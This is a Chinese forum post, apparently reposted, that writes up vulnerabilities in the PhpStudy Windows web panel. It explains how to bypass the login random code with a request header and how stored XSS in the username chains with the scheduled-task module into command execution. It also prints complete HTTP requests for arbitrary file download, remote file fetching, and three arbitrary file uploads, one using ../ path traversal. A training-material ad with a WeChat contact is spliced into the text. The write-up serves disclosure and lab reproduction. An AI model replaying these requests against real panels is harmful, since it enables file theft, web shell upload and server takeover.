小皮Windows web面板漏洞详解

打印 上一主题 下一主题

主题 1826|帖子 1826|积分 5478

漏洞简介

  PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。
影响版本

  因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。环境搭建

  从官网下载 小皮 windows 面板安装包
  https://www.xp.cn/windows-panel.html
  ​
  ​
  安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码。
  ​
  ​
漏洞复现

绕过随机码

  我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
  ​
  在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php​
  ​
  当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码。
  ​
  ‍
存储型 XSS

  我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞。
  1. [/code]  ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551945.png[/img]​
  2.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551946.png[/img]​
  3.   利用正确的用户名密码登录查看。
  4.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551947.png[/img]​
  5.   我们发现成功的触发了存储型 xss。
  6.   我们查看登录时的数据包
  7.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551948.png[/img]​
  8.   ​service/app/account.php​
  9.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551949.png[/img]​
  10.   ​\Account::login​
  11.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551950.png[/img]
  12.   ​\Socket::request​
  13.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551951.png[/img]​
  14.   ‍
  15.   将信息保存起来,登录平台后会自动获取一次日志信息。
  16.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551952.png[/img]​
  17.   ​service/app/log.php​
  18.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551953.png[/img]​
  19.   ‍
  20. [size=4]后台计划任务[/size]
  21.   我们注意到后台有计划任务模块。
  22.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551954.png[/img]
  23.   所以可以直接通过构造计划任务实现 RCE。
  24.   添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本
  25.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551955.png[/img]​
  26.   ‍
  27.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551956.png[/img]
  28.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551957.png[/img]
  29.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551958.png[/img]​
  30.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551960.png[/img]​
  31.   ​[img]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303271551961.png[/img]​
  32.   成功执行命令。
  33.   结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。
  34. [size=4]任意文件下载[/size]
  35.   构造数据包
  36. [code]GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1
  37. Host: 192.168.222.139:9080
  38. Accept: application/json, text/javascript, */*; q=0.01
  39. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  40. X-Requested-With: XMLHttpRequest
  41. Referer: http://192.168.222.139:9080/C292CA
  42. Accept-Encoding: gzip, deflate
  43. Accept-Language: zh-CN,zh;q=0.9
  44. Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
  45. Connection: close
复制代码
  file 的值是 base64 编码后的 /test.txt 成功读取文件内容。
  ​
  ​
  service/app/files.php
  ​
  文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载。
任意代码执行

  构造数据包
  1. POST /service/app/files.php?type=download_remote_file HTTP/1.1
  2. Host: 192.168.222.139:9080
  3. Accept: application/json, text/javascript, */*; q=0.01
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Referer: http://192.168.222.139:9080/C292CA
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
  10. Connection: close
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 95
  13. url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt
复制代码
  url 是 base64 编码的 http://192.168.222.1:8000/1.txt
  1. python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务
复制代码
  ​
  ​
  ​
  ​service/app/files.php​
  ​
  通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名。
任意文件上传

  构造数据包
  1. POST /service/app/files.php?type=file_upload HTTP/1.1
  2. Host: 192.168.222.139:9080
  3. Accept: application/json, text/javascript, */*; q=0.01
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Referer: http://192.168.222.139:9080/C292CA
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
  10. Connection: close
  11. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
  12. Content-Length: 288
  13. ------WebKitFormBoundaryE0tFhmmng2vwxftT
  14. Content-Disposition: form-data; name="file_path"
  15. /
  16. ------WebKitFormBoundaryE0tFhmmng2vwxftT
  17. Content-Disposition: form-data; name="file"; filename="testing1.txt"
  18. Content-type: image/jpg
  19. qweqwe
  20. ------WebKitFormBoundaryE0tFhmmng2vwxftT--
复制代码
  ​
  ​
  ​service/app/files.php​
  ​
任意文件上传二

  构造数据包
  1. POST /service/app/files.php?type=save_file_contents HTTP/1.1
  2. Host: 192.168.222.139:9080
  3. Accept: application/json, text/javascript, */*; q=0.01
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Referer: http://192.168.222.139:9080/C292CA
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
  10. Connection: close
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 58
  13. file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer
复制代码
  ​
  ​
  ​service/app/files.php​
  ​
  根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传。
任意文件上传三

  构造数据包
  1. POST /service/app/databases.php?type=file_add HTTP/1.1
  2. Host: 192.168.222.139:9080
  3. Accept: application/json, text/javascript, */*; q=0.01
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Referer: http://192.168.222.139:9080/C292CA
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
  10. Connection: close
  11. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
  12. Content-Length: 312
  13. ------WebKitFormBoundaryE0tFhmmng2vwxftT
  14. Content-Disposition: form-data; name="parent_dir"
  15. ../../../../../../../../
  16. ------WebKitFormBoundaryE0tFhmmng2vwxftT
  17. Content-Disposition: form-data; name="file"; filename="testing2.txt"
  18. Content-type: image/jpg
  19. qweqwe
  20. ------WebKitFormBoundaryE0tFhmmng2vwxftT--
复制代码
  ​
  ​
  ​service/app/databases.php​
  ​
漏洞修复

  在登录处添加了校验。
  ​
  对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars​ 处理。
更多靶场实验练习、网安学习资料,请点击这里>>

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

北冰洋以北

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表